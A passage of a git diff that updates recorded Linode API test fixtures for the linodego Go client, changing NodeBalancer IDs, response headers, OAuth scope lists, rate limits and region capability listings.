"172-105-46-49.ip.linodeusercontent.com", "ipv4": "172.105.46.49", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694187, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-87-126.ip.linodeusercontent.com", "ipv4": "172.232.87.126", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441122/configs + url: https://api.linode.com/v4beta/nodebalancers/694187/configs method: POST response: - body: '{"id": 670340, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134761, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441122, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694187, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340 + url: https://api.linode.com/v4beta/nodebalancers/694187/configs/1134761 method: DELETE response: body: '{}' @@ -431,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +505,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441122 + url: https://api.linode.com/v4beta/nodebalancers/694187 method: DELETE response: body: '{}' @@ -486,15 +521,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,64 +546,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228212 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNodes_ListInstance.yaml b/test/integration/fixtures/TestNodeBalancerNodes_ListInstance.yaml index f83f445e1..6255dc734 100644 --- a/test/integration/fixtures/TestNodeBalancerNodes_ListInstance.yaml +++ b/test/integration/fixtures/TestNodeBalancerNodes_ListInstance.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", 